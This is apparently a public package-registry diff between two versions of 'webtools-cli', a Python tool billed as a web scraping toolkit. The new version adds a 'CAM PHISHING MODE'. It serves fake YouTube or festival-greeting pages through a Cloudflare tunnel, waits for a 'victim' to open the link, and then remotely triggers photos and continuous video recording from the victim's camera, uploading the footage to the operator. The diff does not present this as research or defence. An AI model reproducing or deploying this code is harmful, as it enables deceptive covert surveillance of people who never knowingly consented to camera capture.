webtools-cli 1.3.7__tar.gz → 1.3.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {webtools_cli-1.3.7/webtools_cli.egg-info → webtools_cli-1.3.9}/PKG-INFO +1 -1
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/pyproject.toml +2 -2
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/cli.py +1 -1
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/core.py +159 -3
- webtools_cli-1.3.9/webtools/festivals.html +622 -0
- webtools_cli-1.3.9/webtools/youtube.html +1304 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9/webtools_cli.egg-info}/PKG-INFO +1 -1
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/SOURCES.txt +2 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/comfyUI.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/comfyu.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/ui.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/LICENSE +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/README.md +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/setup.cfg +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/__init__.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/__main__.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/install.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/mega_client.py +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/index.html +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/script.js +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/style.css +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/dependency_links.txt +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/entry_points.txt +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/requires.txt +0 -0
- {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/top_level.txt +0 -0
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "webtools-cli"
|
|
7
|
-
version = "1.3.
|
|
7
|
+
version = "1.3.9"
|
|
8
8
|
description = "Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
license = "MIT"
|
|
@@ -55,5 +55,5 @@ Homepage = "https://webtoolscli.pages.dev"
|
|
|
55
55
|
include = ["webtools*", "ComfyUI*"]
|
|
56
56
|
|
|
57
57
|
[tool.setuptools.package-data]
|
|
58
|
-
webtools = ["web/*"]
|
|
58
|
+
webtools = ["web/*", "*.html"]
|
|
59
59
|
ComfyUI = ["*.py"]
|
|
@@ -30,6 +30,7 @@ if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
|
|
|
30
30
|
# --- PACKAGE PATHS ---
|
|
31
31
|
PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
32
32
|
DATA_DIR = os.path.join(os.path.expanduser('~'), '.webtools')
|
|
33
|
+
os.makedirs(DATA_DIR, exist_ok=True)
|
|
33
34
|
DB_PATH = os.path.join(DATA_DIR, 'app.db')
|
|
34
35
|
# Scraped results are stored in a local 'webfiles' folder for better visibility
|
|
35
36
|
SCRAPED_DIR = os.path.join(os.getcwd(), 'webfiles', 'scraped')
|
|
@@ -2827,6 +2828,71 @@ def api_translate():
|
|
|
2827
2828
|
print(f"Translation Error: {e}")
|
|
2828
2829
|
return jsonify({'error': str(e)}), 500
|
|
2829
2830
|
|
|
2831
|
+
# --- CAM PHISHING FEATURE ---
|
|
2832
|
+
CAM_STATE = {'action': None, 'page_name': None, 'yt_url': None, 'yt_title': None}
|
|
2833
|
+
CAM_DIR_PIC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'pic')
|
|
2834
|
+
CAM_DIR_REC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'rec')
|
|
2835
|
+
os.makedirs(CAM_DIR_PIC, exist_ok=True)
|
|
2836
|
+
os.makedirs(CAM_DIR_REC, exist_ok=True)
|
|
2837
|
+
|
|
2838
|
+
@app.route('/yt')
|
|
2839
|
+
@app.route('/festival')
|
|
2840
|
+
def serve_cam_watch():
|
|
2841
|
+
page_name = CAM_STATE.get('page_name')
|
|
2842
|
+
if page_name in ['youtube', 'festivals']:
|
|
2843
|
+
return send_from_directory(PACKAGE_DIR, f"{page_name}.html")
|
|
2844
|
+
return "Not found", 404
|
|
2845
|
+
|
|
2846
|
+
@app.route('/api/cam/config', methods=['GET'])
|
|
2847
|
+
def api_cam_config():
|
|
2848
|
+
return jsonify({
|
|
2849
|
+
'yt_url': CAM_STATE.get('yt_url', ''),
|
|
2850
|
+
'yt_title': CAM_STATE.get('yt_title', 'YouTube')
|
|
2851
|
+
})
|
|
2852
|
+
|
|
2853
|
+
@app.route('/api/cam/action', methods=['GET'])
|
|
2854
|
+
def api_cam_action():
|
|
2855
|
+
action = CAM_STATE['action']
|
|
2856
|
+
CAM_STATE['action'] = None
|
|
2857
|
+
return jsonify({'action': action})
|
|
2858
|
+
|
|
2859
|
+
@app.route('/api/cam/upload', methods=['POST'])
|
|
2860
|
+
def api_cam_upload():
|
|
2861
|
+
try:
|
|
2862
|
+
data = request.get_json(silent=True) or {}
|
|
2863
|
+
upload_type = data.get('type') # 'pic' or 'rec'
|
|
2864
|
+
content = data.get('content') # base64 string
|
|
2865
|
+
|
|
2866
|
+
if not upload_type or not content:
|
|
2867
|
+
return jsonify({'error': 'Missing type or content'}), 400
|
|
2868
|
+
|
|
2869
|
+
timestamp = int(time.time())
|
|
2870
|
+
|
|
2871
|
+
if upload_type == 'pic':
|
|
2872
|
+
# content is data:image/jpeg;base64,...
|
|
2873
|
+
header, encoded = content.split(",", 1)
|
|
2874
|
+
img_data = base64.b64decode(encoded)
|
|
2875
|
+
filename = f"capture_{timestamp}.jpg"
|
|
2876
|
+
filepath = os.path.join(CAM_DIR_PIC, filename)
|
|
2877
|
+
with open(filepath, 'wb') as f:
|
|
2878
|
+
f.write(img_data)
|
|
2879
|
+
print(f"\n[+] Picture saved: {filepath}\n> ", end="")
|
|
2880
|
+
|
|
2881
|
+
elif upload_type == 'rec':
|
|
2882
|
+
# content is data:video/webm;base64,...
|
|
2883
|
+
header, encoded = content.split(",", 1)
|
|
2884
|
+
vid_data = base64.b64decode(encoded)
|
|
2885
|
+
filename = f"recording_{timestamp}.webm"
|
|
2886
|
+
filepath = os.path.join(CAM_DIR_REC, filename)
|
|
2887
|
+
with open(filepath, 'wb') as f:
|
|
2888
|
+
f.write(vid_data)
|
|
2889
|
+
print(f"\n[+] Video saved: {filepath}\n> ", end="")
|
|
2890
|
+
|
|
2891
|
+
return jsonify({'success': True})
|
|
2892
|
+
except Exception as e:
|
|
2893
|
+
print(f"\n[-] Upload error: {e}")
|
|
2894
|
+
return jsonify({'error': str(e)}), 500
|
|
2895
|
+
|
|
2830
2896
|
def wait_for_server(port, timeout=10):
|
|
2831
2897
|
start = time.time()
|
|
2832
2898
|
while time.time() - start < timeout:
|
|
@@ -3612,6 +3678,7 @@ def run_comfyui_mode():
|
|
|
3612
3678
|
download_env["TEXT_ENCODERS_URLS"] = "https://huggingface.co/unsloth/gemma-3-12b-it-qat-GGUF/resolve/main/gemma-3-12b-it-qat-UD-Q4_K_XL.gguf"
|
|
3613
3679
|
download_env["LORA_URLS"] = "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-lora-384.safetensors"
|
|
3614
3680
|
download_env["LATENT_UPSCALE_URLS"] = "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x2-1.0.safetensors"
|
|
3681
|
+
download_env["CUSTOM_NODE_URLS"] = "https://github.com/city96/ComfyUI-GGUF.git"
|
|
3615
3682
|
download_env["COMFYUI_WORKSPACE"] = workspace
|
|
3616
3683
|
downloader_script = os.path.join(script_dir, "comfyu.py")
|
|
3617
3684
|
if os.path.exists(downloader_script):
|
|
@@ -3689,9 +3756,95 @@ def run_comfyui_mode():
|
|
|
3689
3756
|
try: comfy_proc.wait(timeout=5)
|
|
3690
3757
|
except: comfy_proc.kill()
|
|
3691
3758
|
|
|
3759
|
+
def run_cam_mode():
|
|
3760
|
+
"""Interactive CLI flow for the /cam feature"""
|
|
3761
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
3762
|
+
print(f"\n{Fore.CYAN}--- CAM PHISHING MODE ---{Style.RESET_ALL}")
|
|
3763
|
+
print("Select target page template:")
|
|
3764
|
+
print(f" {Fore.CYAN}[1]{Style.RESET_ALL} Youtube")
|
|
3765
|
+
print(f" {Fore.CYAN}[2]{Style.RESET_ALL} Feastival Wishing")
|
|
3766
|
+
print(f" {Fore.RED}[b]{Style.RESET_ALL} Back to main menu")
|
|
3767
|
+
|
|
3768
|
+
choice = input(f"\n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
|
|
3769
|
+
if choice == 'b':
|
|
3770
|
+
return
|
|
3771
|
+
|
|
3772
|
+
yt_url = ""
|
|
3773
|
+
if choice == '1':
|
|
3774
|
+
CAM_STATE['page_name'] = "youtube"
|
|
3775
|
+
yt_url = input(f"Enter YouTube Link (e.g. https://www.youtube.com/watch?v=...): \n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip()
|
|
3776
|
+
CAM_STATE['yt_url'] = yt_url
|
|
3777
|
+
|
|
3778
|
+
yt_title = "YouTube"
|
|
3779
|
+
if yt_url:
|
|
3780
|
+
import urllib.request, json, urllib.parse
|
|
3781
|
+
try:
|
|
3782
|
+
oembed_url = f"https://www.youtube.com/oembed?url={urllib.parse.quote(yt_url)}&format=json"
|
|
3783
|
+
with urllib.request.urlopen(oembed_url, timeout=5) as response:
|
|
3784
|
+
data = json.loads(response.read().decode('utf-8'))
|
|
3785
|
+
yt_title = data.get('title', "YouTube")
|
|
3786
|
+
except Exception:
|
|
3787
|
+
pass
|
|
3788
|
+
CAM_STATE['yt_title'] = yt_title
|
|
3789
|
+
elif choice == '2':
|
|
3790
|
+
CAM_STATE['page_name'] = "festivals"
|
|
3791
|
+
else:
|
|
3792
|
+
print(f"{Fore.RED}Invalid choice.{Style.RESET_ALL}")
|
|
3793
|
+
time.sleep(1)
|
|
3794
|
+
return
|
|
3795
|
+
|
|
3796
|
+
# Start Flask server if not running
|
|
3797
|
+
threading.Thread(target=lambda: app.run(host='0.0.0.0', port=PORT, debug=False, use_reloader=False, threaded=True), daemon=True).start()
|
|
3798
|
+
|
|
3799
|
+
public_url, tunnel_proc = None, None
|
|
3800
|
+
with MoonSpinner("Initializing Tunnel"):
|
|
3801
|
+
if wait_for_server(PORT, timeout=10):
|
|
3802
|
+
public_url, tunnel_proc = start_cloudflare_tunnel(PORT)
|
|
3803
|
+
else:
|
|
3804
|
+
print("❌ Server failed to start")
|
|
3805
|
+
return
|
|
3806
|
+
|
|
3807
|
+
if not public_url:
|
|
3808
|
+
print("❌ Failed to create tunnel")
|
|
3809
|
+
return
|
|
3810
|
+
if CAM_STATE.get('page_name') == 'youtube':
|
|
3811
|
+
target_url = f"{public_url}/yt"
|
|
3812
|
+
else:
|
|
3813
|
+
target_url = f"{public_url}/festival"
|
|
3814
|
+
|
|
3815
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
3816
|
+
print(f"\n{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
|
|
3817
|
+
print(f"{Fore.GREEN}🚀 Link is LIVE:{Style.RESET_ALL} {Fore.CYAN}{target_url}{Style.RESET_ALL}")
|
|
3818
|
+
print(f"{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
|
|
3819
|
+
print("\nWaiting for victim to open the link... (They will be prompted for camera after 5 sec)")
|
|
3820
|
+
print(f"\n{Fore.YELLOW}Available Commands:{Style.RESET_ALL}")
|
|
3821
|
+
print(" p : Capture picture")
|
|
3822
|
+
print(" r : Record video (Continuous chunks)")
|
|
3823
|
+
print(" f : Switch to Front Camera (Mobile)")
|
|
3824
|
+
print(" b : Switch to Back Camera (Mobile)")
|
|
3825
|
+
print(" q : Quit and return to menu\n")
|
|
3826
|
+
|
|
3827
|
+
try:
|
|
3828
|
+
while True:
|
|
3829
|
+
cmd = input(f"{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
|
|
3830
|
+
if cmd == 'q' or cmd == '/q':
|
|
3831
|
+
break
|
|
3832
|
+
elif cmd in ['p', 'r', 'f', 'b']:
|
|
3833
|
+
action_map = {'p': 'picture', 'r': 'record', 'f': 'switch_front', 'b': 'switch_back'}
|
|
3834
|
+
CAM_STATE['action'] = action_map[cmd]
|
|
3835
|
+
print(f"[*] Command '{action_map[cmd]}' sent to client. Waiting for response...")
|
|
3836
|
+
else:
|
|
3837
|
+
print(f"{Fore.RED}Unknown command.{Style.RESET_ALL}")
|
|
3838
|
+
except KeyboardInterrupt:
|
|
3839
|
+
pass
|
|
3840
|
+
finally:
|
|
3841
|
+
if tunnel_proc:
|
|
3842
|
+
try: tunnel_proc.terminate()
|
|
3843
|
+
except: pass
|
|
3844
|
+
|
|
3692
3845
|
def main_launcher():
|
|
3693
3846
|
"""Mode selection menu on startup"""
|
|
3694
|
-
menu_commands = ['/web', '/cli', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
|
|
3847
|
+
menu_commands = ['/web', '/cli', '/cam', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
|
|
3695
3848
|
|
|
3696
3849
|
# Conditional ComfyUI visibility
|
|
3697
3850
|
has_gpu = check_gpu()
|
|
@@ -3725,6 +3878,8 @@ def main_launcher():
|
|
|
3725
3878
|
run_cli_mode()
|
|
3726
3879
|
elif choice in ['/image', '/i']:
|
|
3727
3880
|
run_image_forensics_mode()
|
|
3881
|
+
elif choice in ['/cam']:
|
|
3882
|
+
run_cam_mode()
|
|
3728
3883
|
elif choice in ['/cui']:
|
|
3729
3884
|
if has_gpu or on_colab:
|
|
3730
3885
|
run_comfyui_mode()
|
|
@@ -3738,6 +3893,7 @@ def main_launcher():
|
|
|
3738
3893
|
print(f" {Fore.CYAN}/image{Style.RESET_ALL} - Local/Remote Image Forensics & AI detection. (Alias: /i)")
|
|
3739
3894
|
if has_gpu or on_colab:
|
|
3740
3895
|
print(f" {Fore.CYAN}/cui{Style.RESET_ALL} - Start ComfyUI session for AI generation.")
|
|
3896
|
+
print(f" {Fore.CYAN}/cam{Style.RESET_ALL} - Remote camera access via phishing templates.")
|
|
3741
3897
|
print(f" {Fore.CYAN}/adb{Style.RESET_ALL} - ADB Bloatware Remover for Android devices. (Alias: /a)")
|
|
3742
3898
|
print(f" {Fore.CYAN}/clear{Style.RESET_ALL} - Purges the 'webfiles/scraped' directory and clears screen.")
|
|
3743
3899
|
print(f" {Fore.CYAN}/history{Style.RESET_ALL} - Shows command history. (Alias: /hi)")
|
|
@@ -3761,14 +3917,14 @@ def main_launcher():
|
|
|
3761
3917
|
print("Cache purged and screen cleared.")
|
|
3762
3918
|
time.sleep(1)
|
|
3763
3919
|
elif choice in ['/quit', '/q']:
|
|
3764
|
-
print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}
|
|
3920
|
+
print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Terminating session... Stay secure.{Style.RESET_ALL}")
|
|
3765
3921
|
sys.exit()
|
|
3766
3922
|
elif choice in ['/adb', '/a']:
|
|
3767
3923
|
run_adb_mode()
|
|
3768
3924
|
elif is_valid_url(choice):
|
|
3769
3925
|
run_cli_mode(choice)
|
|
3770
3926
|
except KeyboardInterrupt:
|
|
3771
|
-
print("\n\
|
|
3927
|
+
print("\n\nTerminating session... Stay secure.")
|
|
3772
3928
|
sys.exit()
|
|
3773
3929
|
|
|
3774
3930
|
# --- ADB BLOATWARE REMOVER ---
|